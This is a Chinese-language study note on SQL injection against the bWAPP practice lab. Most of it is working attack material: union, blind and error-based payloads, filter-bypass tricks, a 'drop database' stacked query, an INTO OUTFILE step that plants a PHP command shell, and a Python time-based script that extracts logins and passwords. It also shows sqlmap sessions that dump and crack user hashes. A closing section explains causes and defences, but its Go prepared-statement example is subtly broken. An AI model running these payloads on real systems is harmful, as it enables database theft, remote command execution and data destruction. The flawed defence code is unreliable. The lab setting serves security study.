启动靶场
crabin@crabin-virtual-machine:~$ docker run -dt -p 9999:80 8be28fba48ec
crabin@crabin-virtual-machine:~$ docker exec -it 7e94cd1b6b1d /bin/bash
11 union select 1,2,database(),GROUP_CONCAT(table_name) ,5,6,7 from information_schema.tables where table_schema=database() #
blog,heroes,movies,users,visitors
11 union select 1,2,database(),GROUP_CONCAT(COLUMN_name) ,5,6,7 from information_schema.COLUMNs where table_name=‘users’ #
id,login,password,email,secret,activation_code,activated,reset_code,admin
11 union select 1,2,GROUP_CONCAT(id),GROUP_CONCAT(password) ,5,6,7 from users #
A.I.M.,bee,crabin 5 6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0,7c4a8d09ca3762af61e59520943dc26494f8941b
A.I.M. bug
bee bug
crabin 123456
Gift' or 1=1#
Gift union select 1,2,3,4
Gift' and sleep(10)
常用函数
sleep(n) 返回0 命令返回1
substr(a,b,c) 对a从b开始截取c长度
substr 函数的变种函数 : mid()
count()
ascill() – 返回字符的额ascill码
length()
确定注入点
1'or sleep(2)#
延时20s : or 关键字 每查询一条就执行sleep(2); 可以大概知道有10条数据
Iron Man' and LENGTH(DATABASE()) = 5 and sleep(2)# -- true true 执行sleep(2) 得到数据库名字长度为5
Iron Man' and ASCII(SUBSTR(database(),1,1)) = 50 and sleep(2) --
看数据库名称的第一个字符的ASCII是否等于50
编写脚本:
"""
@Project : 脚本文件python
@File : Time_base.py
@Auther : Crabin
@Time : 2022/10/11 17:21
"""
import requests
import time
re = requests.session()
PARAMS = {
"login": "bee",
"password": "bug",
"security_level": 0,
"form": "submit"
}
# do_login = re.post("http://localhost:82/login.php",data = PARAMS)
# print(do_login.content)
# print(do_login.cookies)
HEADER = {
"Cookie": "security_level=0; PHPSESSID=irrvm0bqo1nd7d3tufvirale43"
}
BASE_URL = "http://localhost:82/sqli_15.php?"
# 获取数据库名的长度
def get_databese_name_length() -> int:
# Iron Man' and LENGTH(DATABASE()) = 1 and sleep(1)
count = 0
for i in range(100):
url = BASE_URL + "title=Iron Man' and LENGTH(DATABASE()) = {} and sleep(2) -- &action=search".format(i)
time1 = time.time()
resp = requests.get(url ,headers= HEADER)
if time.time() - time1 > 1:
# print("数据库长度为:{}".format(i))
count = i
break
return count
# 得到数据库名字
def get_database_name(count) -> str:
base_name = ""
for i in range(count + 1):
for j in range(33, 127):
url = BASE_URL + "title=Iron Man' and ASCII(SUBSTR(database(),{},1)) = {} and sleep(2) -- &action=search".format(
i, j)
time1 = time.time()
resp = requests.get(url,headers= HEADER)
if time.time() - time1 > 1:
# print("数据库长度为:{}".format(i))
base_name += chr(j)
break
return base_name
#得到这个数据中的表的个数
def get_table_count() -> int:
#Iron Man' (SELECT count(table_name) from information_schema.TABLES WHERE table_schema = database()) = 1 and sleep(1)
table_count = 0
for i in range(100):
url = BASE_URL + "title=Iron Man' and (SELECT count(table_name) from information_schema.TABLES WHERE table_schema = database()) = {} and sleep(2)-- &action=search".format(i)
time1 = time.time()
resp = requests.get(url, headers=HEADER)
if time.time() - time1 > 1:
table_count = i
break
return table_count
# 得到每个表的长度
def get_table_length_of_each_table(count):
#(SELECT LENGTH(table_name) from information_schema.TABLES WHERE table_schema = database() LIMIT 1,1) = 1 and sleep(1)
res = []
for i in range(count+1):
for j in range(100):
url = BASE_URL + "title=Iron Man' and (SELECT LENGTH(table_name) from information_schema.TABLES WHERE table_schema = database() LIMIT {},1) = {} and sleep(2)-- &action=search".format(i,j)
time1 = time.time()
resp = requests.get(url, headers=HEADER)
if time.time() - time1 > 1:
print("++++++++++++长度:{}".format(j))
table_name = get_table_name_of_each_table(i,j)
res.append(j)
res.append(table_name)
break
return res
# 得到每个表的名称
def get_table_name_of_each_table(index,count):
# SUBSTR((SELECT table_name from information_schema.TABLES WHERE table_schema = database() LIMIT 1,1) and sleep(1),1,1) = {}
name = ""
for i in range(count + 1):
for j in range(33,127):
url = BASE_URL + "title=Iron Man' and ascii(SUBSTR((SELECT table_name from information_schema.TABLES WHERE table_schema = database() LIMIT {},1),{},1)) = {} and sleep(2)-- &action=search".format(index,i, j)
time1 = time.time()
requests.get(url, headers=HEADER)
if time.time() - time1 > 1:
# print(chr(j))
name += chr(j)
break
print(name)
return name
# 已知我们需要的信息在users表中
# 得到users中的字段个数
def get_column_count(table_name):
# (SELECT LENGTH(COLUMN_NAME) from information_schema.COMMITS WHERE table_name = {} LIMIT 1,1) = 1
column_count = 0
for i in range(100):
url = BASE_URL + "title=Iron Man' and (SELECT count(COLUMN_NAME) from information_schema.COLUMNS WHERE table_name = '{}') = {} and sleep(2)-- &action=search".format(table_name,i)
time1 = time.time()
resp = requests.get(url, headers=HEADER)
if time.time() - time1 > 1:
column_count = i
print("字段个数为:{}".format(i))
break
return column_count
# 得到每个字段的长度
def get_column_length_of_each_column(table_name ,count):
# (SELECT LENGTH(column_name) from information_schema.COLUMNS WHERE table_name = {} LIMIT 1,1) = 1 ;
res = []
for i in range(count + 1):
for j in range(100):
url = BASE_URL + "title=Iron Man' and (SELECT LENGTH(column_name) from information_schema.COLUMNS WHERE table_name = '{}' LIMIT {},1) = {} and sleep(2)-- &action=search".format(
table_name, i, j)
time1 = time.time()
resp = requests.get(url, headers=HEADER)
if time.time() - time1 > 1:
print("++++++++++++长度:{}".format(j))
column_name = get_column_name_of_each_column(table_name,i,j)
res.append(j)
res.append(column_name)
print(res)
break
return res
# 获取每一个字段名称
def get_column_name_of_each_column(table_name,index,count):
# ascii(SUBSTR((SELECT column_name from information_schema.COLUMNS WHERE table_name = {} LIMIT 1,1),1,1) = {});
name = ""
for i in range(count + 1):
for j in range(33, 127):
url = BASE_URL + "title=Iron Man' and ascii(SUBSTR((SELECT column_name from information_schema.COLUMNS WHERE table_name = '{}' LIMIT {},1),{},1)) = {} and sleep(2)-- &action=search".format(
table_name, index, i, j)
time1 = time.time()
requests.get(url, headers=HEADER)
if time.time() - time1 > 1:
# print(chr(j))
name += chr(j)
break
print(name)
return name
def get_username_password():
# ascii(SUBSTR((SELECT concat(login,password) from users LIMIT 1,1),1,1) = {});
res = []
info = ""
for i in range(100):
index = 1
for j in range(33,127):
url = BASE_URL + "title=Iron Man' and ascii(SUBSTR((SELECT concat(login,' @pwd: ',password) from users LIMIT 0,1),{},1)) = {} and sleep(2)-- &action=search"\
.format(i,j)
time1 = time.time()
requests.get(url,headers=HEADER)
if time.time() - time1 > 1:
info += chr(j)
break
print(info)
res.append(info)
return res
if __name__ == '__main__':
# base_len = get_databese_name_length()
# print("数据库长度为:{}".format(base_len))
# base_name = get_database_name(base_len)
# print("数据库名称:" + base_name)
# table_count = get_table_count()
# print("表的个数为:{}".format(table_count))
# get_table_length_of_each_table(table_count)
# get_column_count("users")
# list = get_column_length_of_each_column("users",9)
# 分析出来需要admin 和 password字段
get_username_password()
如果页面可以输出sql报错信息,则可以从报错信息中获取需要的信息
注入语句:
1' union select 1,2,3,4,5,count(*),concat((SELECT DATABASE()),FLOOR(RAND(0)*2))x FROM information_schema.TABLES GROUP BY x #
多条语句执行
a';drop database [databasename];
这里有insert语句
INSERT into xxx VALUES()
我们需要闭合这个语句 构造sql注入语句(猜测大概有两个value):
INSERT into xxx VALUES('aaa','bbb')
注入语句:
aaa','bbb')#
插入成功
后台的语句:
我们可以构造sql注入语句:得到数据库名称
…
这里吧union关键字给替换成了空
movie=21(这个需要报错) UnIon select 1,2,3,4,5,6,7 #
movie=21 UNIunionON select 1,2,3,4,5,6,7 #
把空格给去掉了:识别不出来报错
movie=21UnIonselect1,2,3,4,5,6,7#
在使用空格的地方都使用/**/
movie=21/**/UnIon/**/select/**/1,2,3,4,5,6,7/**/#
使用 like 代替
select * from user where name like 'crabin'
movie=21 /*!union*/ select 1,2,3,4,5,6,7 #
mysqldump -uroot -p [库名] [表名] > /tmp/a.sql(路径)
全备份
mysqldump -uroot -p -A -R -E --triggers --master-data=2 --single-transaction > full.sql
恢复
source /tmp/a.sql
mysqldump -A -R -E --triggers --master-data=2 --single-transaction > /tmp/full.sql
SELECT count(*),FLOOR(RAND(0)*2) as x FROM movies GROUP BY x;
上面的语句在执行的时候会报错原因:
SELECT FLOOR(RAND(0)*2) FROM movies ;
结果
为 01101100 ,使用了随机种子,所以每次执行的结果都是一样的
第一个语句 count() 和GROUP BY 语句连用会建立一个虚拟表:
count(*) key
# 在读取到0的时候:先查询是否存在 0 的key没有就执行插入 1 0
# 但是走到GROUP BY语句时 又触发一次所以key变成了 1
第一次走
*****
1 1
*****
此时已经读取了两个数01
再次往后走,是 1 ,查询存在key值 所以直接更新不触发GROUP BY
*****
2 1
*****
再一次走 ,是 0 ,不存在key ,执行插入,但是又触发GROUP BY ,读取后一位 1
*****
2 1
1 1
*****
这里是错误的,所以系统报错,这就是报错注入的sql原理
验证
SELECT count(*),concat(FLOOR(RAND(0)*2) ) as x FROM users GROUP BY x;
不报错 我们更改了查询的表
users表:只有两条数据
SELECT FLOOR(RAND(0)*2) FROM users ;
没有上述的错误现象
表里面的数据如果是 < 3 的时候则不会报错
所以我的表可以使用 information_schema.TABLES
表让他一定报错
使用命令
select * from heroes where id =1 union select 1,2,3,'hello' into outfile '/var/www/html/images/a.php';
images 这个文件是可以写的
chmod 757 /images
这个是mysql使用可以操作
root@faae62fb3a0a:/var/www/html# chown -R mysql.mysql images/
利用这个sql上传我们的脚本代码
11 union select 1,2,3,4,5,6,'' into outfile '/var/www/html/images/cmd.php'#&action=go
查看主靶机后台是否上传成功
在游览器访问
使用 php 代码的接收参数 cmd进行远程命令执行
文档:https://sqlmap.org/
-u "url"
--data "user=name,passwd=123456" #post提交指明post的提交名字
--dbs
--tables
--columns
--dump
--level # 1-5 注入等级,越高注入越多,越深
--risk # 1-3 1默认,2增加事件的测试语句,3增加or这种语句
--batch #不要来询问我直接全部选择默认的
--dump-all #得到全部表(包含数据库默认表)的数据 和-D 一起使用 得到这个库下的所有信息 //脱库
--cookie="" #设置请求头的cookie
-b :--banner # 得到操作用户
-f
--is-dba #这个mysql的操作用户是否拥有主机的root权限
-l 111.log #使用这个log文件来进行攻击
python3 sqlmap.py -l 111.log
111.log :
======================================================
15:24:05 https://dss0.bdstatic.com:443 [220.169.152.33]
======================================================
GET /5aV1bjqh_Q23odCf/static/superman/js/min_super-59ec6c653e.js HTTP/1.1
Host: dss0.bdstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://www.baidu.com/index.php?tn=monline_3_dg
Connection: close
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
If-Modified-Since: Thu, 15 Sep 2022 11:42:26 GMT
If-None-Match: "63230fa2-f88f"
Cache-Control: max-age=0
======================================================
含义必要的信息
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.216.142:9999/sqli_2.php?movie=11&action=go" --cookie="PHPSESSID=sqaif1mnij5mf93cc9neh38mb6; security_level=0" --dbs
___
__H__
___ ___[']_____ ___ ___ {1.6.10.2#dev}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:41:31 /2022-10-24/
[15:41:32] [INFO] resuming back-end DBMS 'mysql'
[15:41:32] [INFO] testing connection to the target URL
[15:41:37] [WARNING] potential CAPTCHA protection mechanism detected
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: movie (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: movie=(SELECT (CASE WHEN (7978=7978) THEN 11 ELSE (SELECT 6332 UNION SELECT 6561) END))&action=go
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: movie=11 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6b6271,(SELECT (ELT(1833=1833,1))),0x717a707871,0x78))s), 8446744073709551610, 8446744073709551610)))&action=go
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: movie=11 AND (SELECT 5127 FROM (SELECT(SLEEP(5)))QoUp)&action=go
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: movie=11 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6b6271,0x7a517343437371594470557065726c6d587067754c526e51796c6b6444666747516d786556764f4c,0x717a707871),NULL,NULL,NULL-- -&action=go
---
[15:41:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.5
[15:41:37] [INFO] fetching database names
[15:41:39] [INFO] retrieved: 'information_schema'
[15:41:39] [INFO] retrieved: 'bWAPP'
[15:41:39] [INFO] retrieved: 'mysql'
[15:41:39] [INFO] retrieved: 'performance_schema'
available databases [4]:
[*] bWAPP
[*] information_schema
[*] mysql
[*] performance_schema
[15:41:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.216.142'
[*] ending @ 15:41:39 /2022-10-24/
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.216.142:9999/sqli_2.php?movie=11&action=go" --cookie="PHPSESSID=sqaif1mnij5mf93cc9neh38mb6; security_level=0" -D bWAPP --tables
___
__H__
___ ___[']_____ ___ ___ {1.6.10.2#dev}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:42:31 /2022-10-24/
[15:42:32] [INFO] resuming back-end DBMS 'mysql'
[15:42:32] [INFO] testing connection to the target URL
[15:42:32] [WARNING] potential CAPTCHA protection mechanism detected
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: movie (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: movie=(SELECT (CASE WHEN (7978=7978) THEN 11 ELSE (SELECT 6332 UNION SELECT 6561) END))&action=go
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: movie=11 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6b6271,(SELECT (ELT(1833=1833,1))),0x717a707871,0x78))s), 8446744073709551610, 8446744073709551610)))&action=go
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: movie=11 AND (SELECT 5127 FROM (SELECT(SLEEP(5)))QoUp)&action=go
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: movie=11 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6b6271,0x7a517343437371594470557065726c6d587067754c526e51796c6b6444666747516d786556764f4c,0x717a707871),NULL,NULL,NULL-- -&action=go
---
[15:42:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[15:42:32] [INFO] fetching tables for database: 'bWAPP'
[15:42:32] [INFO] retrieved: 'blog'
[15:42:32] [INFO] retrieved: 'heroes'
[15:42:32] [INFO] retrieved: 'movies'
[15:42:32] [INFO] retrieved: 'users'
[15:42:33] [INFO] retrieved: 'visitors'
Database: bWAPP
[5 tables]
+----------+
| blog |
| heroes |
| movies |
| users |
| visitors |
+----------+
[15:42:33] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.216.142'
[*] ending @ 15:42:33 /2022-10-24/
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.216.142:9999/sqli_2.php?movie=11&action=go" --cookie="PHPSESSID=sqaif1mnij5mf93cc9neh38mb6; security_level=0" -D bWAPP -T users --dump
___
__H__
___ ___["]_____ ___ ___ {1.6.10.2#dev}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:44:03 /2022-10-24/
[15:44:03] [INFO] resuming back-end DBMS 'mysql'
[15:44:03] [INFO] testing connection to the target URL
[15:44:03] [WARNING] potential CAPTCHA protection mechanism detected
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: movie (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: movie=(SELECT (CASE WHEN (7978=7978) THEN 11 ELSE (SELECT 6332 UNION SELECT 6561) END))&action=go
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: movie=11 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6b6271,(SELECT (ELT(1833=1833,1))),0x717a707871,0x78))s), 8446744073709551610, 8446744073709551610)))&action=go
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: movie=11 AND (SELECT 5127 FROM (SELECT(SLEEP(5)))QoUp)&action=go
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: movie=11 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6b6271,0x7a517343437371594470557065726c6d587067754c526e51796c6b6444666747516d786556764f4c,0x717a707871),NULL,NULL,NULL-- -&action=go
---
[15:44:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[15:44:03] [INFO] fetching columns for table 'users' in database 'bWAPP'
[15:44:04] [INFO] retrieved: 'id','int(10)'
[15:44:04] [INFO] retrieved: 'login','varchar(100)'
[15:44:04] [INFO] retrieved: 'password','varchar(100)'
[15:44:04] [INFO] retrieved: 'email','varchar(100)'
[15:44:04] [INFO] retrieved: 'secret','varchar(100)'
[15:44:04] [INFO] retrieved: 'activation_code','varchar(100)'
[15:44:04] [INFO] retrieved: 'activated','tinyint(1)'
[15:44:05] [INFO] retrieved: 'reset_code','varchar(100)'
[15:44:05] [INFO] retrieved: 'admin','tinyint(1)'
[15:44:05] [INFO] fetching entries for table 'users' in database 'bWAPP'
[15:44:05] [INFO] retrieved: '1',' ','1','[email protected]','1','A.I.M.','6885858486f31043e5839c735d99457f045affd0',' ','A.I.M. or Authentication Is Missing'
[15:44:05] [INFO] retrieved: '1',' ','1','[email protected]','2','bee','6885858486f31043e5839c735d99457f045affd0',' ','Any bugs?'
[15:44:05] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q]
[15:44:22] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 4
[15:45:41] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[15:45:51] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[15:45:51] [INFO] starting 4 processes
[15:45:56] [INFO] cracked password 'bug' for user 'A.I.M.'
Database: bWAPP
Table: users
[2 entries]
+----+-------+--------------------------+--------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
| id | admin | email | login | secret | password | activated | reset_code | activation_code |
+----+-------+--------------------------+--------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
| 1 | 1 | [email protected] | A.I.M. | A.I.M. or Authentication Is Missing | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1 | NULL | NULL |
| 2 | 1 | [email protected] | bee | Any bugs? | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1 | NULL | NULL |
+----+-------+--------------------------+--------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
[15:45:59] [INFO] table 'bWAPP.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.216.142/dump/bWAPP/users.csv'
[15:45:59] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.216.142'
[*] ending @ 15:45:59 /2022-10-24/
得到所有的表的信息
sqlmap -u "http://192.168.216.142:9999/sqli_2.php?movie=11&action=go" --cookie="PHPSESSID=sqaif1mnij5mf93cc9neh38mb6; security_level=0" -f -b --dump-all
-f -b --dbs: -f --banner --dbs
使用–tamper 来使用py绕过脚本
python3 sqlmap.py -u "" --tamper
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnul12ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
python3 sqlmap.py -u‘xxx" - -
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2p1us,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
形成原因:
用户输入的数据作为代码执行了
- 用户能控制传参
- SQL语句中拼接了用户传参内容
- 拼接后的SQL语句必须能在数据库中执行(我们在服务端使这个不能在数据库中执行)
在服务端防御
fun ProductsHandler(c *gin.Context) {
//两个值 字段
a := c.Query("category")
s := c.Query("released")
// a 转为小写
// 读取我们的黑名单文件,全部替换为“” 使用数据库报错
// 这种方法不能从根本上防住sql注入,怎么不可能防止所有的关键字
// -1: 全部替换 1: 只替换一次
a = strings.Replace(a,"union","",-1)
log.Println(a)
sqlStr := fmt.Sprintf(`select id,name,context,released from products where category = '%s' and released = %s`,a,s)
log.Println(sqlStr)
// 直接查询数据库
rows, err := model.DB.Query(sqlStr)
if err != nil {
c.JSON(htpp.statusOK, gin.H{
"code": 404,
"err": err.Error(),
"msg": "error",
})
return
}
...
没有问题返回数据
}
黑名单文件a.txt
union
select
limit
where
union all
information_schema
and
or
普通的SQL语句执行过程:
- 客户端对SQL语句进行占位符替换得到完整的SQL语句
- 客户端发送完整SQL语句到MySQL服务端
- MySQL服务端执行完整的SQL语句并将结果返回给客户端
一次编译, 单次运行,此类普通语句被称作 Immediate Statements(即使 SQL)
预处理执行过程:
- 把SQL语句分成两部分,命令部分与数据部分
- 先把命令部分发送给MySQL服务端,MySQL 服务端进行SQL预处理
- 然后把数据部分发送给MySQL服务端,MySQL 服务端对SQL语句进行占位符替换
- MySQL服务端执行完整的SQL语句并将结果返回给客户端
所谓预编译语句就是将此类SQL语句中的值用占位符替代, 可以视为将SQL 语句模板化或者说措参数化,一般称为这类语句叫 Prepared Statement
普通:
Prepared Statements执行流程
先进行sql模板的编译 在传入值(union select …)把这个值只当参数处理不会再编译
# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;
fun ProductsHandler(c *gin.Context) {
//两个值 字段
a := c.Query("category")
s := c.Query("released")
log.Println(a)
// 预编译的模板
sqlStr :="select id,name,context,released from products where category = ? and released = ? "
// 定义模板
stmt, err2 := model.DB.Prepare(sqlStr)
//错误就抛出返回
if err2 != nil {
c.JSON(htpp.statusOK, gin.H{
"code": 404,
"err": err2.Error(),
"msg": "error",
})
return
}
//直接查询 用户输入的只作为参数使用
rows, err := model.DB.Query(a, s)
if err != nil {
c.JSON(htpp.statusOK, gin.H{
"code": 404,
"err": err.Error(),
"msg": "error",
})
return
}
var r []model.Product
for rows.Next() {
var p model.Product
if rowErr := rows.Scan(&p.Id, &p.Name, &p.Content, &p.Rleased); rowErr != nil {
c.JSON(200, gin.H{
"code": 404,
"err": rowErr.Error(),
"msg": "error"
})
}
r = append(r, p)
}
c.JSON(200, gin.H{
"code": 0,
"data": r,
"msg": "success"
})
}
查看mysql日志
tail -f /tmp/mysql.log
docker build -t name . #go
docker save -o zipname.tar name
scp zipname.tar ssh [email protected]:/root
docker load --input zipname.tar
docker run --name name -d -p 3333:8080 imageID
``